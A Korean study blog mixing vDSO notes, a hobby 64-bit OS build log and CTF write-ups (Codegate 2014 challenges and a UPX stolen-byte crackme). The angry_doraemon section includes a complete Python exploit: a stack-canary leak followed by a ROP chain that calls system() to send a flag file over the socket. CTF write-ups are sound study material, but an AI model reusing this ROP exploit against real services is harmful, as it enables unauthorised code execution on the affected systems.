peda 자료 

http://noplanlife.com/?p=968

우선 wiki 에서 본 결과

vDSOs (virtual dynamically linked shared objects) are a way to export kernel space routines to user space applications, using standard mechanisms forlinking and loading i.e. standard Executable and Linkable Format (ELF) format.^[1][2]

It helps to reduce the calling overhead on simple kernel routines, and also can work as a way to select the best system call method on some architectures.

An advantage over other methods is that such exported routines can provide proper DWARF (debug with attributed record format) debugging information.

Implementation generally implies hooks in the dynamic linker to find the vDSOs.

즉, kernel space routines를 user space application으로 export 하기위한 방법이다. 

이부분을 공부하게 된 이유는 .. codegate작년 문제 (codegate Prequals 2014)중에 minibomb 문제를 풀면서 

다른 블로그글을 보고있는데 

처음 보는 영역을 디스어셈 하는것을 볼 수 있었다. 그래서 찾게되었다..

cat /proc /self/maps 

좀더 자세한 내용은 linux manual page 내용을 발췌한것이다 참고바란다 .

The "vDSO" (virtual dynamic shared object) is a small shared library
       that the kernel automatically maps into the address space of all
       user-space applications.  Applications usually do not need to concern
       themselves with these details as the vDSO is most commonly called by
       the C library.  This way you can code in the normal way using
       standard functions and the C library will take care of using any
       functionality that is available via the vDSO.

       Why does the vDSO exist at all?  There are some system calls the
       kernel provides that user-space code ends up using frequently, to the
       point that such calls can dominate overall performance.  This is due
       both to the frequency of the call as well as the context-switch
       overhead that results from exiting user space and entering the
       kernel.

       The rest of this documentation is geared toward the curious and/or C
       library writers rather than general developers.  If you're trying to
       call the vDSO in your own application rather than using the C
       library, you're most likely doing it wrong.

원본 페이지 : http://man7.org/linux/man-pages/man7/vdso.7.html
vdso영역을 공부하려하다보니까 자연스럽게 core파일에 대한 내용을 접하게되었다.
좋은 블로그가 있어서  URL을 추가한다.
http://studyfoss.egloos.com/5183167

http://egloos.zum.com/studyfoss/v/5183491

cat /proc/self/maps 라는 명령어에서 사용하는 경로들의 각각의 특징은

http://egloos.zum.com/powerenter/v/10949008

GDT,IDT,TSS 세그먼트 추가햇는데 오류 ,,, 

헤더에 분명 저렇게 잘 선언해놧고,

소스코드 확인해봣는데도 문제가 없는데 

main.c에서 헤더를 끌어썻는데 kInitializeIDTTables 를 읽지를 못한다.. 아직 원인을 모르겟음 ... 

좀더 찾아보던지 아니면 일단 넘어가던지 해야겟다 .. 

키보드 디바이스 드라이버를 추가해주었는데 뻑이나서.. 왜그런가 햇더니 함수명 중에

kActivateKeyboard(void)를 kActivekeyboard라고 적어놈 ㅡㅡ ;

그래서 함수를 콜해서 쓰는 부분에서 제대로 못읽어줘서 오류가낫엇음 

결과적으로 고쳐 주니 성공 

$ make all

=================== Build Boot Loader ===================

make    -C      00.BootLoader

make[1]: Entering directory '/cygdrive/c/MINT64_symnoisy/00.BootLoader'

nasm    -o      BootLoader.bin  BootLoader.asm

make[1]: Leaving directory '/cygdrive/c/MINT64_symnoisy/00.BootLoader'

=================== Build Complete ===================

=================== Build 32bit Kernel ===================

make    -C      01.Kernel32

make[1]: Entering directory '/cygdrive/c/MINT64_symnoisy/01.Kernel32'

mkdir   -p      Temp

nasm    -o      Temp/EntryPoint.bin     Source/EntryPoint.s

=== Make Dependancy File ===

make    -C      Temp    -f      ../makefile     InternalDependency

make[2]: Entering directory '/cygdrive/c/MINT64_symnoisy/01.Kernel32/Temp'

x86_64-pc-linux-gcc.exe -c -m32 -ffreestanding  -MM     ../Source/page.c ../Source/Main.c    >Dependency.dep

make[2]: Leaving directory '/cygdrive/c/MINT64_symnoisy/01.Kernel32/Temp'

=== Dependancy Search Complete ==

make    -C      Temp    -f      ../makefile     Kernel32.elf

make[2]: Entering directory '/cygdrive/c/MINT64_symnoisy/01.Kernel32/Temp'

x86_64-pc-linux-gcc.exe -c -m32 -ffreestanding  -c      ../Source/Main.c

x86_64-pc-linux-gcc.exe -c -m32 -ffreestanding  -c      ../Source/page.c

nasm    -f      elf32   -o      ModeSwitch.o    ../Source/ModeSwitch.asm

x86_64-pc-linux-ld.exe -melf_i386 -T ../elf_i386.x -nostdlib -e Main -Ttext 0x10200 -o       Kernel32.elf    Main.o page.o ModeSwitch.o

x86_64-pc-linux-ld: warning: cannot find entry symbol Main; defaulting to 0000000000010200

make[2]: Leaving directory '/cygdrive/c/MINT64_symnoisy/01.Kernel32/Temp'

x86_64-pc-linux-objcopy -j .text -j .data -j .rodata -j .bss -S -O binary       Temp/Kernel32.elf    Temp/Kernel32.elf.bin

cat     Temp/EntryPoint.bin Temp/Kernel32.elf.bin       >       Kernel32.bin

make[1]: Leaving directory '/cygdrive/c/MINT64_symnoisy/01.Kernel32'

=================== Build Complete ===================

=================== Build 64bit Kernel ===================

make    -C      02.Kernel64

make[1]: Entering directory '/cygdrive/c/MINT64_symnoisy/02.Kernel64'

mkdir   -p      Temp

=== Make Dependancy File ===

make    -C      Temp    -f      ../makefile     InternalDependency

make[2]: Entering directory '/cygdrive/c/MINT64_symnoisy/02.Kernel64/Temp'

x86_64-pc-linux-gcc.exe -c -m64 -ffreestanding  -MM     ../Source/Keyboard.c ../Source/Main.c>Dependency.dep

make[2]: Leaving directory '/cygdrive/c/MINT64_symnoisy/02.Kernel64/Temp'

=== Dependancy Search Complete ==

make    -C      Temp    -f      ../makefile     Kernel64.elf

make[2]: Entering directory '/cygdrive/c/MINT64_symnoisy/02.Kernel64/Temp'

nasm    -f      elf64   -o      EntryPoint.o    ../Source/EntryPoint.s

x86_64-pc-linux-gcc.exe -c -m64 -ffreestanding  -c      ../Source/Keyboard.c

x86_64-pc-linux-gcc.exe -c -m64 -ffreestanding  -c      ../Source/Main.c

nasm    -f      elf64   -o      AssemblyUtility.o       ../Source/AssemblyUtility.asm

x86_64-pc-linux-ld.exe -melf_x86_64 -T ../elf_x86_64.x -nostdlib -e Main -Ttext 0x200000     -o      Kernel64.elf    EntryPoint.o Keyboard.o Main.o AssemblyUtility.o

make[2]: Leaving directory '/cygdrive/c/MINT64_symnoisy/02.Kernel64/Temp'

x86_64-pc-linux-objcopy -j .text -j .data -j .rodata -j .bss -S -O binary       Temp/Kernel64.elf    Kernel64.bin

make[1]: Leaving directory '/cygdrive/c/MINT64_symnoisy/02.Kernel64'

=================== Build Complete ===================

=================== Disk Image Build Start ===================

./ImageMaker.exe        00.BootLoader/BootLoader.bin 01.Kernel32/Kernel32.bin 02.Kernel64/Kernel64.bin

[INFO] Copy boot loader to image file

[INFO] File size is aligned 512 byte

[INFO] 00.BootLoader/BootLoader.bin size = [512] and sector count = [1]

[INFO] Copy protected mode kernel to image file

[INFO] File size [2699] and fill [373] byte

[INFO] 01.Kernel32/Kernel32.bin size = [2699] and sector count = [6]

[INFO] Copy IA-32e mode kernel to image file

[INFO] File size [2738] and fill [334] byte

[INFO] 02.Kernel64/Kernel64.bin size = [2738] and sector count = [6]

[INFO] Start to write kernel information

[INFO] Total sector count except boot loader [12]

[INFO] Total sector count of protected mode kernel [6]

[INFO] Image file create complete

=================== All Build Complete ===================

================== Utility Build Start ===================

make    -C      04.Utility

make[1]: Entering directory '/cygdrive/c/MINT64_symnoisy/04.Utility'

make[1]: *** No targets specified and no makefile found.  Stop.

make[1]: Leaving directory '/cygdrive/c/MINT64_symnoisy/04.Utility'

makefile:48: recipe for target 'Utility' failed

make: *** [Utility] Error 2

~>유틸리티 부분에는 makefile 을 생성해놓지 않아서 오류가 발생하는 거라서 이전 포스팅과 같게 이부분에서는 오류가남 

캬 .. .드디어 성공햇습니다... 

따라만들기 수준에 그치고있는데도 코드작성이라는거 만만치가 않네요.. 

드디어 64bit로 넘어옴과 더불어 Disk.img 생성까지 모두 성공적으로 이뤄졌습니다 .. 

너무행복합니다 .. 오늘은 발뻗고 잘 수 있겟어요 ..

내일(4/8)은 코드게이트 컨퍼런스에 가야해서 ㅋㅋ 그전까지 키보드 디바이스 드라이버까지 추가시키려 합니다

슬슬 시험기간이 다가오긴 하는데 .. OS 만드는거 너무재밋네요 ... 

예전에 자꾸 뻑나서 짜증나서 64비트 진입도 못하고 접어버렷는데 ... 장벽을 드디어 허물어버렷습니다 만세 ! 

(유틸리티 부분에서 오류나는 이유는 makefile 을따로 만들어주지 않아서 그러는거라 오류가아닙니다 ㅎㅎ ) 

처음부터 다시만들면서

부트로더 ,리얼모드로의 전환, 보호모드로의 전환까지 진행하였고, 

64bit로 전환하기 전에  A20 게이트를 활성화 시켜줘서 메모리를 4GB이상 접근할수 있게 해주었으며, 

현재는 페이징기법을 활성화 시키기 직전 단계까지 다다랏다 ,... 근데 문제가 .. 

makefile 프로그램에서 뻑나는건지 아니면  어디서뻑나는건지 ..

 A20 게이트 활성화 하면서 메모리 확장 확인 소스를 추가해준 뒤부터 자꾸 Disk.img가 생성이 되지 않는다 .. 소스자체에도 문제가없는데 .. 

해결함 ) :키우는 고양이 아리가 내가 딴짓할때 makefile 프로그램에 커서가 올라가있엇는데 코드안에 스페이스 갈기고 도망갓던거엿음 ㅡㅡ ;고침

 □ description

==========================================

Limited processes will be generated. 

Which one has the flag?

http://58.229.183.26/files/clone_technique.exe_b9b0870fb1b877cecf5ea2ae615e12eb

==========================================

 □ number of solvers : 71

 □ breakthrough by

    1 : More Smoked Leet Chicken (02/23 02:29)

    2 : sonic (02/23 02:30)

    3 : spamandhexlite (02/23 02:47)

clone_technique.exe

Process Explorer로 확인해본결과 프로세스가 마구마구 생성된다. 근데 흰트에, 제한된 프로세스안에서 어떤 한 부분이 플래그를 갖고 있다하여서, 이부분에 초점을 맞추고 분석을 시작했다. 

그러다가 디컴파일하면서 함수들을 내려가는 도중에, 

40116F부분에서 (정확히 말하면 401169 부분과 40116F부분에서) 인위적으로 ESP를 더하고 뺌으로써,디컴파일이 되지 않는 부분이 존재했다. NOP 로 해당부분을 패치해주고 다시 디컴파일을 한 결과,

아래처럼 디컴파일이 되었고, 인위적으로 이 함수만 디컴파일이 되지않게 해논 부분이어서, 이부분에 무언가 있을것 같아 집중적으로 분석을 시작했고,  

memset((void *)sub_401070(&unk_407030, Buffer, v7), 0, 0x1Cu); 이부분을 찾아냈다. 

memset((void *)sub_401070(&unk_407030, Buffer, v7), 0, 0x1Cu); 

407030부분에서 1C(decimal:28byte) byte는 ollydbg에서 이부분에 하드웨어 브레이크를 걸고 확인을 하였고,(아래에 첨부한 그림에서 하이라이트한 부분)

IDA에서 401070함수 부분을 디컴파일하여, 복호화 루틴을 알아내었다

복호화 루틴을 알아내서..코드로 짜서 flag값을 알아내려했는데

좀더 분석해보니 다른 부분에서도 필요한 부분을 가져오고 해야해서 

messagebox()를 call 하여 flag 를 뱉어내게 하는방식으로 문제를 접근하기로 하였다. 

(복호화 코드를 짜서 풀은 사람도 많던데 검색해보면 한국인들이 writeup을써논것들 대부분이 그런식이여서 쉽게 찾아볼 수있다) 

그래서 401070 주소부분(어차피 이부분이 복호화 부분이니까)에서 맨밑으로 내리다보면 에필로그가 존재하는데,

이에필로그아래부터 적당한 크기의 int 3이 존재하여, 

(원래는 다른 적당한공간을 패치시켜서 점프시키려하였으나 에필로그 아래의 int 3 공간크기와 딱맞았다) 

이부분을 parameter와 messagebox()로 patch 시켜주었다.

패치한 방법은 아래와 같다. 어셈블 설명하는 포스팅도 아니고 하니 따로 설명은 하지 않겠다.

이부분을 패치해주면 각 프로세스마다 복호화를 진행하면서 각 프로세스마다의 값이 messagebox로 출력되게 된다.(패치해준뒤 새로운 .exe파일로 생성해주고 프로그램을 실행해주었다(디버거에서 실행한거아님))

그래서 겁나 엔터를 눌러주다보면.. 

의미있는 값을 가지는게 하나 나오는데 이것이 당시 대회때의 flag이다. 

아래의 파일은 내가 패치시켜 놓은 파일이다. 나중에 내가쓸거같아서 첨부해놈 .. 

clone_techniquepatch.exe

crackme_d079a0af0b01789c01d5755c885da4f6

□ description

==========================================

http://58.229.183.26/files/crackme_d079a0af0b01789c01d5755c885da4f6

==========================================

 □ number of solvers : 206

 □ breakthrough by

    1 : Hardc0de (02/22 09:14)

    2 : spamandhexlite (02/22 09:19)

    3 : bamb00 (02/22 09:23)

[실행 화면]

위의 첨부한 그림처럼 파일을 실행시키면, 키값을 물어보고 틀린값을 넣으면 permission denied가 뜬다.

키값을 찾는 문제라는 것을 유추할 수 있다.

64bit 의 elf fileformat 이여서, IDA로 리눅스 환경에 리모트 디버깅을 하여 문제풀이를 진행하였다.

문제자체는 생각보다 별로 어렵지 않앗다. 

 RBP를 기준으로 자꾸 뭔가하는 것을 알 수 있었다. 

그래서 RBP를 기준으로 한번 따라가보기로 하였다.(의외로 바로 답이나와버렷당 ㅎ_ㅎ) 

rbp 값을 기준으로 해서 값을 1 byte 1byte씩 읽어온다는 것을 확인할 수 있었다. 

위의 문자열은 대회 당시의 키값이다 

+) 자꾸 이런게 뜨길래 찾아봣는데 설명이 잘되있는게 있어서 아래에 첨부해둔다 (

Starting program: /root/pwn/codegatedodocrackme/c 

warning: no loadable sections found in added symbol-file system-supplied DSO at 0x7fffb8ff5000

http://stackoverflow.com/questions/10505102/what-is-system-supplied-dso-that-gdb-references/10506452#10506452

http://www.trilithium.com/johan/2005/08/linux-gate/

사용한 기법 : memory leak + ROP 

angry_doraemon_c927b1681064f78612ce78f6b93c14d9

문제 자체는 처음 시스템 공부하기 시작할떄쯤 나 가르쳐줫던 애가 당시 대회떄 문제를 풀어서 얼핏 봣던 문제다.

 CTF 공부겸 ,, rop 이해햇는데 memory leak 기법이 이해가 안됫는데 이 문제 덕분에 memory leak이라는게 어느정도 와닿게 되었다.

 □ description

==========================================

OS : Ubuntu 13.10 x86

IP : 58.229.183.18 / TCP 8888

http://58.229.183.26/files/angry_doraemon_c927b1681064f78612ce78f6b93c14d9

==========================================

 □ number of solvers : 57

 □ breakthrough by

    1 : More Smoked Leet Chicken (02/23 06:16)

    2 : ppp (02/23 06:22)

    3 : stratumauhuur (02/23 06:28)

RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE

Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   angry_doraemon_c927b1681064f78612ce78f6b93c14d9

root@symnoisy:~/pwn# file angry_doraemon_c927b1681064f78612ce78f6b93c14d9 

angry_doraemon_c927b1681064f78612ce78f6b93c14d9: setuid setgid sticky ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0xf16e3852cdf494e0376d99e56343aa55830a9d95, stripped

NX와 Canary가 걸려있는 것을 알 수 있다.. 다행이 PIE 는 걸려 있지 않다 

(아직 PIE 우회하는법 연구하고있는데 ... 힘들다)

[leak canary]

read 부분에서 buf가 4byte 인데, 110 byte를 입력받음 으로써 오버플로우가 발생하는 것을 알 수 있다.

하지만, 해당 파일에 카나리(SSP)가 걸려있어서 카나리 부터 알아내야 하는데,

소켓 프로그램이고, 항상 fork()로 실행하기 때문에, canary 값이 고정이다. 

또한, buf 부분과 , canary 부분 사이의 거리가 A (decimal : 10 byte, disatance : int buf ~ int v8) 이므로

buf [10byte]  | canary | 8byte | SFP | RET 

이런식으로 진행이된다. 카나리의 정보는 

v1 = sprintf(s, "You choose '%s'!\n", &buf); 

아래의 함수를 통해 memory leak을 일으켜 값을 불러올 수 있다. 

프로그램을 잘못받아서 실행이 안되나 햇는데.. 알고보니까 프로그램안에서 사용하는 txt 파일들을 따로 만들어 줘야한다 .. 아놔 ;; ;이거몰라서 오늘 하루종일 삽질햇다 

[code]

[result]

메모리릭 때문에 풀엇던 문제인데 우선 목표는 달성했다. 

(카나리값이 계속해서 바뀌는데 왠지모르겟당) 

[프로세스위의 write주소 leak + system 주소 구하기 ]

[source]

[result]

root@symnoisy:~/pwn# ldd angry_doraemon_c927b1681064f78612ce78f6b93c14d9 

linux-gate.so.1 =>  (0xb7758000)

libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xb75d6000)

/lib/ld-linux.so.2 (0xb775a000)

[exploit]

[code] // 코드가 길어서 하나에 안들어가서 걍 코드로 첨부함 

from socket import *

from struct import *

import time

s=socket(AF_INET,SOCK_STREAM)

s.connect(('localhost',8888))

read_plt =0x8048620 #read@plt

write_plt=0x80486e0 #write@plt

write_got=0x804b030 #write@got

pppr=0x8048ea6 #objdump -d angrydoraemon

bss=0x804b080 #objudmp -h angrydoraemon

system_addr=0xb7680730 

canary = 0xdbf62b00

cmd ="cat flag>&4\x00"

payload =""

payload +="y"*10

payload +=pack("<L",canary)

payload +="a"*8

payload += pack("<L",read_plt)

payload += pack("<L",4)

payload += pack("<L",bss)

payload += pack("<L",len(cmd))

payload += pack("<L",system_addr)

payload += pack("<L",0xdeadbeef)

payload += pack("<L",bss)

print "[+]Hacked by symnoisy!"

s.send(payload)

s.send(cmd)

print s.recv(1024)

Challenges : Basic 11

Author : abex

Korean : 
OEP를 찾으시오. Ex) 00401000 / Stolenbyte 를 찾으시오. Ex) FF35CA204000E84D000000 
정답인증은 OEP+ Stolenbyte 
Ex ) 00401000FF35CA204000E84D000000 

English : 
Find the OEP. Ex) 00401000 / Find the Stolenbyte. Ex) FF35CA204000E84D000000 
The solution should be in this format : OEP + Serial 
Ex ) 00401000FF35CA204000E84D000000 

방금전에 풀었던 level 10 문제랑 굉장히 유사하다 단지 패킹이 UPX로 되어있고, 

stolen byte가  어떤 부분인지 알아낸다는 점이 조금 다르다.

방법은 아까처럼 push AD 부분에서 ESP 부분의 주소에 하드웨어 브레이크를 걸어주고 진입한다. 

그렇게되면 아까도 말햇듯이 OEP 로 점프하는 직전 명령어 부분으로 이동한다. 

OEP 부분에서 잠깐 헤맷는데, OEP 부분에는 stolen byte를 복구해주고나서의 OEP를 적어주어야 한다.

jmp부분으로 넘어간뒤에 ctrl+A를 눌러서 어셈블리를 재분석해주면, 패킹이 해제된 데이터들을 확인할 수 있다.

stolen byte부분은 messagebox 함수의 파라미터 부분으로, 총 파라미터를 4개를 받는데,

여기서는 파라미터 3개가 OEP로 넘어가기 직전에 선언되어있다